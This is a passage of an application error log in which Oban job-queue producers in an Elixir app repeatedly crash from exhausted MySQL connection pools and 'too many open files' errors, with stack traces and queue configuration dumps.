#Reference<0.2525715032.1077411843.204946>, refresh_timer: #Reference<0.2525715032.1077411843.204938>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:34.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 837ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:39:22.239646Z], limit: 20, uuid: "a372c3c7-923f-4be0-a030-5665e094c2f5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:22.239652Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.232497>, refresh_timer: #Reference<0.2525715032.1068236804.232496>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1019ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:39:22.239443Z], limit: 5, uuid: "105ff7c6-2502-4528-a4ac-59b6b30f0cfc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:22.239447Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.204948>, refresh_timer: #Reference<0.2525715032.1068236804.232490>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:38.147000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:46.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1079ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:39:34.241421Z], limit: 10, uuid: "b0414618-04a0-44c5-b02e-13a90b24edb4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:34.241427Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.205249>, refresh_timer: #Reference<0.2525715032.1068236804.232588>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:46.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 806ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:39:34.242239Z], limit: 3, uuid: "0b2613be-4228-41a0-947d-ea85104dc457", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:34.242246Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.205251>, refresh_timer: #Reference<0.2525715032.1068236804.232603>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:46.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 874ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:39:34.243946Z], limit: 20, uuid: "69b5a7e4-41da-4fef-b58d-1169f190eded", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:34.243951Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.205247>, refresh_timer: #Reference<0.2525715032.1077411843.205239>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:46.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 882ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:39:34.239827Z], limit: 5, uuid: "6ca52f5b-d95e-4ec6-a8ff-a67b2b443014", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:34.239833Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.205250>, refresh_timer: #Reference<0.2525715032.1068236804.232587>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:46.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 842ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:39:34.243842Z], limit: 5, uuid: "fdce7b33-20f9-4596-b08e-16092bb0c0a3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:34.243847Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.205248>, refresh_timer: #Reference<0.2525715032.1077411843.205238>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:46.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 839ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:39:34.242094Z], limit: 50, uuid: "54bf1116-94cd-40bf-bd32-9b5b98459f93", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:34.242101Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.205252>, refresh_timer: #Reference<0.2525715032.1121189889.83609>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:46.287000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:47.621000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:47.692000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:48.347000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:50.926000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:53.317000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:53.394000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:54.464000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:56.530000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:57.737000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:57.837000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:39:58.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1029ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
